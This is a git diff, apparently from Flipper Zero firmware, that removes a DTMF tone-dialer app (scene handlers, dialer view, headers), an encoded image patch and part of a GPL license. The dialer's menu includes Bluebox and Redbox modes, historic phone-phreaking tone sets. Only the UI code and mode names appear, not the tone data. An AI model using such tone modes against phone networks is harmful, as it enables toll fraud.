z>Kob{?lp`x%rQJ}c-pYX@P^@x;TyvrMkphik+_kXk-3qZQK(U>QIS!NQM=Kg(Osi? zqfbWL#$;nbV|il(V@G3u<9Opd<8tFB<38hY<5}ZnK1HXAjYF?(aSVU989GG~};o7X8y!{#r&5A z-h$6U)dwTiWwwYzngb-MKt z>jvv?>l@aOt(UET+2C#XY~*YVY@BR@Y?5sXZE9>fY=&&6Y+l>^utnQ)+e+K&+S=Rt z+a}l+*jCw|wY_RPY5UUln;p`Q(~e=MZD(ueXBTgmZ&zt|)^5=5zTKkTH+!T#hdsky z+uqK8uYJ6Ifqj*IyZu%BN&8p!-yP5nTn^F>x(*Hw0S-wH2OVl0Ivs``rXAimY&zl` z`5fgP4INz^Lmbl_4?8wEc01m5oON7v{NqG%5_VE?GI#QHigLVk;^7kMlI2qB((E$ea@S?S z<=YdAPEpR>I+Tl9v zI^+7zb<2(9Mt4(jGk5cHi+0O(t8hE(cGYdlZOLuZ9q%sSuIO&+?(QDxp6y=d-s*nE zebW84`??3tgWp5J!^FegBf=xgqs*h#iAUgln2UNK&IUR7S_yoSAIyq3LwdsDncyw$y}z4v-2dKY@vd3Sl= z^q%wn=mYuCd>B5uK8`+2pM5?hKBs;9eeU`!`h54r`ttcI_?q~7_(u8W`d0e3`wsig z_%8eY@ni85^V9UR^9%4x@hkQ_<=5+X$M1#Tx4r1SynE&Mn(TGo8?`rgZ{^-|dx!Tv z+Pk`U+n?$$;jiuQ;Lr5m=U?J~#(%*7zW*!#jQ~ObJwP?UGQc+=A)qjzKA1Rs zFM+5)ocGyx(ZJcjk3monN04-oLC~I{@Sv=qilFwO;h;xBt3f+V zHYS6q$8=_fGBcTF%r@pV<}`DKxgAUmmI&4jb_xy&&I~RMZVkQ`JRQ6eyd6Rfkqprd zaSjO$*&k9CayDcrsOE@~5FI*|yBHSlDA-pKOA-peqBK&3eMg%cJI6@=BE+QymU&OJ9 zmWZnn(-A8XJCW>>QjrFcu91T^ZdOeIxp5^p_ZP3}1|LjAhK;nBXI6fnwwga+MRkQ^=0bMG)kI8nqHb~ zT69`LT76n?+P$=;wBP&K_DStC+UL11ZeP*9#(e|(ruMC*gLKYx`E>Jizx3qvlJu7J zq4X!|YZ<5v{tVR&+YDw#W=2IuXU15@e8!JVVy0-OPNqv{WM+P5U1o3Q{mi$S+xuzz zW%rxz_t~Gc|H%I4{X_eo>|e`5X9;AfXW3_kWMySlWp!oU&U%^kE1NZ&k!_gmnH`^f zDEmzIVD_Wzk2%O3{v6dDyPV*htemQxuAJLBuX29nQgfwpjdQ(n6LSyeHs=oIKFR%@ zhsmSoY34cRh3Dnv)#ml)-OqcQx0BDAuaIw%@1MUfzbwBa|7QM+{EY%ifn4g=A=L>HYzAW4-Vk?pB`-_1j5no>8Kcak%(pDHtgNiF>~`7fvOndV<%;Dt<-z4S z<+bJgl3hjzL6|ohEDw-=sDxOuWS5hjaDorc>D)&`ZRCZNPRKBeORlHTI zRSs1VRR^jXs|Kr{RDG=`R!dYHRr^$@RF_tFR^P5(s@^%leM04g{fY1s1t(6O7(DUh z#Mc^PjYN%6jc-j_O?l0Qnu(gXwV;--R=w7#HmbI;wyAcw_F3(E9c!IToq1hg-Tt~0 zb$xYHbsy?6^}_YK^&a(!^~dVZ)sNS|uHQb%eNyG5!^wz~2Tz_pIdt;b$@K=-2AKwn zhQNlbhT4YyhUtd2Q@B%NrwmVdpGrMdeyZ!#-BZhrh(^Iitwz_z_{NgP_QvtXSB=}J zxlgN}c03(*y6ANC>FcLooc?u&c1H1x?U}GM1!o%1Ts!mh%z6`RlWdb^6SFC&>15ND zrYB9`n#s*l&F0O4%~{R0%>&Jkn!mIVTNo{-E&eV0TWVVRTV`55w-Q<~tdB|xfZs_RH`Jwwm zABOS6jA8TP;NgPdrs2`yS0i9Va71s!dnA3NX5{k7+{os2+I5xd&e!9wAHUvp{lWFM zQPQZ)sP$<0Xwhif=&jLrH&8c3Zy4VQxRG2)*xX3fpZH|K6{ zj&Y8ujqMpr8Y>^WI5s`@ZJc#nVccOnX8h>*`SJVXpKcLv$=tHO6>;m(t@c}YZmr(N z-j=*=emms$f!i&&$8Nv9gSsPn$K+1XoxD3|?%cTZdIFvho-my7pU9bLoEVvSc^BNJ z-!-`FcQ@;9!`>cRB~ucn|Wp(&%OfT`T6(^EI5mL4J=ias=X z$b4Avu=(Nm!*|n|X^Cm`>CoxI>9f;!rr*!tXQXFrW+G>f%yiC7&a6G6JW_b%@F?z4 z>7$-UGmm~eW`C^u*!6MBphM&EB z4m}rsZt|S@{J`_J=XajJpC`=A&fCq$%pafcnSV6D{(|F$#tV-Z=`ZSD482%ffEI)o zOct062N&8FCKf&}k{0C`9Twvk%NP3=XBU6HCUcP;WekJ+J>Q&^c zBd;#Jdid)5Yuan|*B-C;y{>yb^!nuzyd=70wiLQ_XsKgqa_P$(>Km0eu5VJ`)V#U+ zX5lULR^+Ye+mN?KZ_mBG|Mtr}>N}NpuJ6*`)xNv-ZgCl27F{-54qGl>?p&T){lD=|sWn^V(6}2k4YPA}*dUUmC_0j6)d+zr-?|t9ryl;9x{(kiX;e*@<#}5e~ zDnDHQF#loaqtHi_kHH^{K6ZS3@bTLx_D|}cJU?ZAI`!$sr?+d^HR(0GwYatNwM%Qy z*0w*>KO27z{#^9A(|y_ZXh=#Hmo;dHcB`8H=b^6ZwhUiY=&+g-t5|(+1&ie`%~{{z|R9e+kZ~}{Q8Ub zOY@h{ubf}azwZ3{xW%%ivgN*&v2|+e=GMw@;%|lDF27TM*Zm&({pJt$kIWy3KS_U1 z{JHk$)i!FIv2D8@zg@X~WqV-<-jUd`-ig^M-x=7M{|o+#{k8lX^|$nI|KI0-|Na*( zv2KeqRZ6%3000SaNLh0L01FZT01FZU(%pXi0000kNkl - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) DTMFDolphinScene##id, -typedef enum { -#include "dtmf_dolphin_scene_config.h" - DTMFDolphinSceneNum, -} DTMFDolphinScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers dtmf_dolphin_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "dtmf_dolphin_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "dtmf_dolphin_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "dtmf_dolphin_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h deleted file mode 100644 index b6dab07dc..000000000 --- a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h +++ /dev/null @@ -1,2 +0,0 @@ -ADD_SCENE(dtmf_dolphin, start, Start) -ADD_SCENE(dtmf_dolphin, dialer, Dialer) \ No newline at end of file diff --git a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c deleted file mode 100644 index 06da595e0..000000000 --- a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c +++ /dev/null @@ -1,49 +0,0 @@ -#include "../dtmf_dolphin_i.h" -// #include "../dtmf_dolphin_data.h" -// #include "../dtmf_dolphin_audio.h" - -void dtmf_dolphin_scene_dialer_on_enter(void* context) { - DTMFDolphinApp* app = context; - DTMFDolphinScene scene_id = DTMFDolphinSceneDialer; - enum DTMFDolphinSceneState state = scene_manager_get_scene_state(app->scene_manager, scene_id); - - switch(state) { - case DTMFDolphinSceneStateBluebox: - dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX); - break; - case DTMFDolphinSceneStateRedboxUS: - dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US); - break; - case DTMFDolphinSceneStateRedboxUK: - dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK); - break; - case DTMFDolphinSceneStateRedboxCA: - dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA); - break; - case DTMFDolphinSceneStateMisc: - dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_MISC); - break; - default: - dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_DIALER); - break; - } - - view_dispatcher_switch_to_view(app->view_dispatcher, DTMFDolphinViewDialer); -} - -bool dtmf_dolphin_scene_dialer_on_event(void* context, SceneManagerEvent event) { - DTMFDolphinApp* app = context; - UNUSED(app); - UNUSED(event); - bool consumed = false; - - // if(event.type == SceneManagerEventTypeTick) { - // consumed = true; - // } - - return consumed; -} - -void dtmf_dolphin_scene_dialer_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c deleted file mode 100644 index 484e9e8eb..000000000 --- a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c +++ /dev/null @@ -1,94 +0,0 @@ -#include "../dtmf_dolphin_i.h" - -static void dtmf_dolphin_scene_start_main_menu_enter_callback(void* context, uint32_t index) { - DTMFDolphinApp* app = context; - uint8_t cust_event = 255; - switch(index) { - case 0: - cust_event = DTMFDolphinEventStartDialer; - break; - case 1: - cust_event = DTMFDolphinEventStartBluebox; - break; - case 2: - cust_event = DTMFDolphinEventStartRedboxUS; - break; - case 3: - cust_event = DTMFDolphinEventStartRedboxUK; - break; - case 4: - cust_event = DTMFDolphinEventStartRedboxCA; - break; - case 5: - cust_event = DTMFDolphinEventStartMisc; - break; - default: - return; - } - - view_dispatcher_send_custom_event(app->view_dispatcher, cust_event); -} - -void dtmf_dolphin_scene_start_on_enter(void* context) { - DTMFDolphinApp* app = context; - VariableItemList* var_item_list = app->main_menu_list; - - // VariableItem* item; - variable_item_list_set_enter_callback( - var_item_list, dtmf_dolphin_scene_start_main_menu_enter_callback, app); - - variable_item_list_add(var_item_list, "Dialer", 0, NULL, context); - variable_item_list_add(var_item_list, "Bluebox", 0, NULL, context); - variable_item_list_add(var_item_list, "Redbox (US)", 0, NULL, context); - variable_item_list_add(var_item_list, "Redbox (UK)", 0, NULL, context); - variable_item_list_add(var_item_list, "Redbox (CA)", 0, NULL, context); - variable_item_list_add(var_item_list, "Misc", 0, NULL, context); - - variable_item_list_set_selected_item( - var_item_list, scene_manager_get_scene_state(app->scene_manager, DTMFDolphinSceneStart)); - - view_dispatcher_switch_to_view(app->view_dispatcher, DTMFDolphinViewMainMenu); -} - -bool dtmf_dolphin_scene_start_on_event(void* context, SceneManagerEvent event) { - DTMFDolphinApp* app = context; - UNUSED(app); - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - uint8_t sc_state; - - switch(event.event) { - case DTMFDolphinEventStartDialer: - sc_state = DTMFDolphinSceneStateDialer; - break; - case DTMFDolphinEventStartBluebox: - sc_state = DTMFDolphinSceneStateBluebox; - break; - case DTMFDolphinEventStartRedboxUS: - sc_state = DTMFDolphinSceneStateRedboxUS; - break; - case DTMFDolphinEventStartRedboxUK: - sc_state = DTMFDolphinSceneStateRedboxUK; - break; - case DTMFDolphinEventStartRedboxCA: - sc_state = DTMFDolphinSceneStateRedboxCA; - break; - case DTMFDolphinEventStartMisc: - sc_state = DTMFDolphinSceneStateMisc; - break; - default: - return consumed; - } - scene_manager_set_scene_state(app->scene_manager, DTMFDolphinSceneDialer, sc_state); - scene_manager_next_scene(app->scene_manager, DTMFDolphinSceneDialer); - - consumed = true; - } - return consumed; -} - -void dtmf_dolphin_scene_start_on_exit(void* context) { - DTMFDolphinApp* app = context; - variable_item_list_reset(app->main_menu_list); -} diff --git a/applications/external/dtmf_dolphin/views/dtmf_dolphin_common.h b/applications/external/dtmf_dolphin/views/dtmf_dolphin_common.h deleted file mode 100644 index f2f4838d6..000000000 --- a/applications/external/dtmf_dolphin/views/dtmf_dolphin_common.h +++ /dev/null @@ -1,10 +0,0 @@ -#pragma once -#include "../dtmf_dolphin_event.h" -#include "../dtmf_dolphin_data.h" -#include "../dtmf_dolphin_audio.h" - -#define DTMF_DOLPHIN_NUMPAD_X 1 -#define DTMF_DOLPHIN_NUMPAD_Y 14 -#define DTMF_DOLPHIN_BUTTON_WIDTH 13 -#define DTMF_DOLPHIN_BUTTON_HEIGHT 13 -#define DTMF_DOLPHIN_BUTTON_PADDING 1 // all sides diff --git a/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.c b/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.c deleted file mode 100644 index bdffa2313..000000000 --- a/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.c +++ /dev/null @@ -1,350 +0,0 @@ -#include "dtmf_dolphin_dialer.h" - -#include - -typedef struct DTMFDolphinDialer { - View* view; - DTMFDolphinDialerOkCallback callback; - void* context; -} DTMFDolphinDialer; - -typedef struct { - DTMFDolphinToneSection section; - uint8_t row; - uint8_t col; - float freq1; - float freq2; - bool playing; - uint16_t pulses; - uint16_t pulse_ms; - uint16_t gap_ms; -} DTMFDolphinDialerModel; - -static bool dtmf_dolphin_dialer_process_up(DTMFDolphinDialer* dtmf_dolphin_dialer); -static bool dtmf_dolphin_dialer_process_down(DTMFDolphinDialer* dtmf_dolphin_dialer); -static bool dtmf_dolphin_dialer_process_left(DTMFDolphinDialer* dtmf_dolphin_dialer); -static bool dtmf_dolphin_dialer_process_right(DTMFDolphinDialer* dtmf_dolphin_dialer); -static bool - dtmf_dolphin_dialer_process_ok(DTMFDolphinDialer* dtmf_dolphin_dialer, InputEvent* event); - -void draw_button(Canvas* canvas, uint8_t row, uint8_t col, bool invert) { - uint8_t left = DTMF_DOLPHIN_NUMPAD_X + // ((col + 1) * DTMF_DOLPHIN_BUTTON_PADDING) + - (col * DTMF_DOLPHIN_BUTTON_WIDTH); - // (col * DTMF_DOLPHIN_BUTTON_PADDING); - uint8_t top = DTMF_DOLPHIN_NUMPAD_Y + // ((row + 1) * DTMF_DOLPHIN_BUTTON_PADDING) + - (row * DTMF_DOLPHIN_BUTTON_HEIGHT); - // (row * DTMF_DOLPHIN_BUTTON_PADDING); - - uint8_t span = dtmf_dolphin_get_tone_span(row, col); - - if(span == 0) { - return; - } - - canvas_set_color(canvas, ColorBlack); - - if(invert) - canvas_draw_rbox( - canvas, - left, - top, - (DTMF_DOLPHIN_BUTTON_WIDTH * span) - (DTMF_DOLPHIN_BUTTON_PADDING * 2), - DTMF_DOLPHIN_BUTTON_HEIGHT - (DTMF_DOLPHIN_BUTTON_PADDING * 2), - 2); - else - canvas_draw_rframe( - canvas, - left, - top, - (DTMF_DOLPHIN_BUTTON_WIDTH * span) - (DTMF_DOLPHIN_BUTTON_PADDING * 2), - DTMF_DOLPHIN_BUTTON_HEIGHT - (DTMF_DOLPHIN_BUTTON_PADDING * 2), - 2); - - if(invert) canvas_invert_color(canvas); - - canvas_set_font(canvas, FontSecondary); - // canvas_set_color(canvas, invert ? ColorWhite : ColorBlack); - canvas_draw_str_aligned( - canvas, - left - 1 + (int)((DTMF_DOLPHIN_BUTTON_WIDTH * span) / 2), - top + (int)(DTMF_DOLPHIN_BUTTON_HEIGHT / 2), - AlignCenter, - AlignCenter, - dtmf_dolphin_data_get_tone_name(row, col)); - - if(invert) canvas_invert_color(canvas); -} - -void draw_dialer(Canvas* canvas, void* _model) { - DTMFDolphinDialerModel* model = _model; - uint8_t max_rows; - uint8_t max_cols; - uint8_t max_span; - dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span); - - canvas_set_font(canvas, FontSecondary); - - for(int r = 0; r < max_rows; r++) { - for(int c = 0; c < max_cols; c++) { - if(model->row == r && model->col == c) - draw_button(canvas, r, c, true); - else - draw_button(canvas, r, c, false); - } - } -} - -void update_frequencies(DTMFDolphinDialerModel* model) { - dtmf_dolphin_data_get_tone_frequencies(&model->freq1, &model->freq2, model->row, model->col); - dtmf_dolphin_data_get_filter_data( - &model->pulses, &model->pulse_ms, &model->gap_ms, model->row, model->col); -} - -static void dtmf_dolphin_dialer_draw_callback(Canvas* canvas, void* _model) { - DTMFDolphinDialerModel* model = _model; - if(model->playing) { - // Leverage the prioritized draw callback to handle - // the DMA so that it doesn't skip. - dtmf_dolphin_audio_handle_tick(); - // Don't do any drawing if audio is playing. - canvas_set_font(canvas, FontPrimary); - elements_multiline_text_aligned( - canvas, - canvas_width(canvas) / 2, - canvas_height(canvas) / 2, - AlignCenter, - AlignCenter, - "Playing Tones"); - return; - } - update_frequencies(model); - uint8_t max_rows = 0; - uint8_t max_cols = 0; - uint8_t max_span = 0; - dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span); - - canvas_set_font(canvas, FontPrimary); - elements_multiline_text(canvas, 2, 10, dtmf_dolphin_data_get_current_section_name()); - canvas_draw_line( - canvas, - (max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 1, - 0, - (max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 1, - canvas_height(canvas)); - elements_multiline_text(canvas, (max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 4, 10, "Detail"); - canvas_draw_line( - canvas, 0, DTMF_DOLPHIN_NUMPAD_Y - 3, canvas_width(canvas), DTMF_DOLPHIN_NUMPAD_Y - 3); - // elements_multiline_text_aligned(canvas, 64, 2, AlignCenter, AlignTop, "Dialer Mode"); - - draw_dialer(canvas, model); - - FuriString* output = furi_string_alloc(); - - if(model->freq1 && model->freq2) { - furi_string_cat_printf( - output, - "Dual Tone\nF1: %u Hz\nF2: %u Hz\n", - (unsigned int)model->freq1, - (unsigned int)model->freq2); - } else if(model->freq1) { - furi_string_cat_printf(output, "Single Tone\nF: %u Hz\n", (unsigned int)model->freq1); - } - - canvas_set_font(canvas, FontSecondary); - canvas_set_color(canvas, ColorBlack); - if(model->pulse_ms) { - furi_string_cat_printf(output, "P: %u * %u ms\n", model->pulses, model->pulse_ms); - } - if(model->gap_ms) { - furi_string_cat_printf(output, "Gaps: %u ms\n", model->gap_ms); - } - elements_multiline_text( - canvas, (max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 4, 21, furi_string_get_cstr(output)); - - furi_string_free(output); -} - -static bool dtmf_dolphin_dialer_input_callback(InputEvent* event, void* context) { - furi_assert(context); - DTMFDolphinDialer* dtmf_dolphin_dialer = context; - bool consumed = false; - - if(event->type == InputTypeShort) { - if(event->key == InputKeyRight) { - consumed = dtmf_dolphin_dialer_process_right(dtmf_dolphin_dialer); - } else if(event->key == InputKeyLeft) { - consumed = dtmf_dolphin_dialer_process_left(dtmf_dolphin_dialer); - } else if(event->key == InputKeyUp) { - consumed = dtmf_dolphin_dialer_process_up(dtmf_dolphin_dialer); - } else if(event->key == InputKeyDown) { - consumed = dtmf_dolphin_dialer_process_down(dtmf_dolphin_dialer); - } - - } else if(event->key == InputKeyOk) { - consumed = dtmf_dolphin_dialer_process_ok(dtmf_dolphin_dialer, event); - } - - return consumed; -} - -static bool dtmf_dolphin_dialer_process_up(DTMFDolphinDialer* dtmf_dolphin_dialer) { - with_view_model( - dtmf_dolphin_dialer->view, - DTMFDolphinDialerModel * model, - { - uint8_t span = 0; - uint8_t cursor = model->row; - while(span == 0 && cursor > 0) { - cursor--; - span = dtmf_dolphin_get_tone_span(cursor, model->col); - } - if(span != 0) { - model->row = cursor; - } - }, - true); - return true; -} - -static bool dtmf_dolphin_dialer_process_down(DTMFDolphinDialer* dtmf_dolphin_dialer) { - uint8_t max_rows = 0; - uint8_t max_cols = 0; - uint8_t max_span = 0; - dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span); - - with_view_model( - dtmf_dolphin_dialer->view, - DTMFDolphinDialerModel * model, - { - uint8_t span = 0; - uint8_t cursor = model->row; - while(span == 0 && cursor < max_rows - 1) { - cursor++; - span = dtmf_dolphin_get_tone_span(cursor, model->col); - } - if(span != 0) { - model->row = cursor; - } - }, - true); - return true; -} - -static bool dtmf_dolphin_dialer_process_left(DTMFDolphinDialer* dtmf_dolphin_dialer) { - with_view_model( - dtmf_dolphin_dialer->view, - DTMFDolphinDialerModel * model, - { - uint8_t span = 0; - uint8_t cursor = model->col; - while(span == 0 && cursor > 0) { - cursor--; - span = dtmf_dolphin_get_tone_span(model->row, cursor); - } - if(span != 0) { - model->col = cursor; - } - }, - true); - return true; -} - -static bool dtmf_dolphin_dialer_process_right(DTMFDolphinDialer* dtmf_dolphin_dialer) { - uint8_t max_rows = 0; - uint8_t max_cols = 0; - uint8_t max_span = 0; - dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span); - - with_view_model( - dtmf_dolphin_dialer->view, - DTMFDolphinDialerModel * model, - { - uint8_t span = 0; - uint8_t cursor = model->col; - while(span == 0 && cursor < max_cols - 1) { - cursor++; - span = dtmf_dolphin_get_tone_span(model->row, cursor); - } - if(span != 0) { - model->col = cursor; - } - }, - true); - return true; -} - -static bool - dtmf_dolphin_dialer_process_ok(DTMFDolphinDialer* dtmf_dolphin_dialer, InputEvent* event) { - bool consumed = false; - - with_view_model( - dtmf_dolphin_dialer->view, - DTMFDolphinDialerModel * model, - { - if(event->type == InputTypePress) { - model->playing = dtmf_dolphin_audio_play_tones( - model->freq1, model->freq2, model->pulses, model->pulse_ms, model->gap_ms); - } else if(event->type == InputTypeRelease) { - model->playing = !dtmf_dolphin_audio_stop_tones(); - } - }, - true); - - return consumed; -} - -static void dtmf_dolphin_dialer_enter_callback(void* context) { - furi_assert(context); - DTMFDolphinDialer* dtmf_dolphin_dialer = context; - - with_view_model( - dtmf_dolphin_dialer->view, - DTMFDolphinDialerModel * model, - { - model->col = 0; - model->row = 0; - model->section = 0; - model->freq1 = 0.0; - model->freq2 = 0.0; - model->playing = false; - }, - true); -} - -DTMFDolphinDialer* dtmf_dolphin_dialer_alloc() { - DTMFDolphinDialer* dtmf_dolphin_dialer = malloc(sizeof(DTMFDolphinDialer)); - - dtmf_dolphin_dialer->view = view_alloc(); - view_allocate_model( - dtmf_dolphin_dialer->view, ViewModelTypeLocking, sizeof(DTMFDolphinDialerModel)); - - with_view_model( - dtmf_dolphin_dialer->view, - DTMFDolphinDialerModel * model, - { - model->col = 0; - model->row = 0; - model->section = 0; - model->freq1 = 0.0; - model->freq2 = 0.0; - model->playing = false; - }, - true); - - view_set_context(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer); - view_set_draw_callback(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer_draw_callback); - view_set_input_callback(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer_input_callback); - view_set_enter_callback(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer_enter_callback); - return dtmf_dolphin_dialer; -} - -void dtmf_dolphin_dialer_free(DTMFDolphinDialer* dtmf_dolphin_dialer) { - furi_assert(dtmf_dolphin_dialer); - view_free(dtmf_dolphin_dialer->view); - free(dtmf_dolphin_dialer); -} - -View* dtmf_dolphin_dialer_get_view(DTMFDolphinDialer* dtmf_dolphin_dialer) { - furi_assert(dtmf_dolphin_dialer); - return dtmf_dolphin_dialer->view; -} diff --git a/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.h b/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.h deleted file mode 100644 index 1929afbc5..000000000 --- a/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.h +++ /dev/null @@ -1,18 +0,0 @@ -#pragma once - -#include -#include "dtmf_dolphin_common.h" - -typedef struct DTMFDolphinDialer DTMFDolphinDialer; -typedef void (*DTMFDolphinDialerOkCallback)(InputType type, void* context); - -DTMFDolphinDialer* dtmf_dolphin_dialer_alloc(); - -void dtmf_dolphin_dialer_free(DTMFDolphinDialer* dtmf_dolphin_dialer); - -View* dtmf_dolphin_dialer_get_view(DTMFDolphinDialer* dtmf_dolphin_dialer); - -void dtmf_dolphin_dialer_set_ok_callback( - DTMFDolphinDialer* dtmf_dolphin_dialer, - DTMFDolphinDialerOkCallback callback, - void* context); diff --git a/applications/external/esubghz_chat/LICENSE b/applications/external/esubghz_chat/LICENSE deleted file mode 100644 index f288702d2..000000000 --- a/applications/external/esubghz_chat/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is 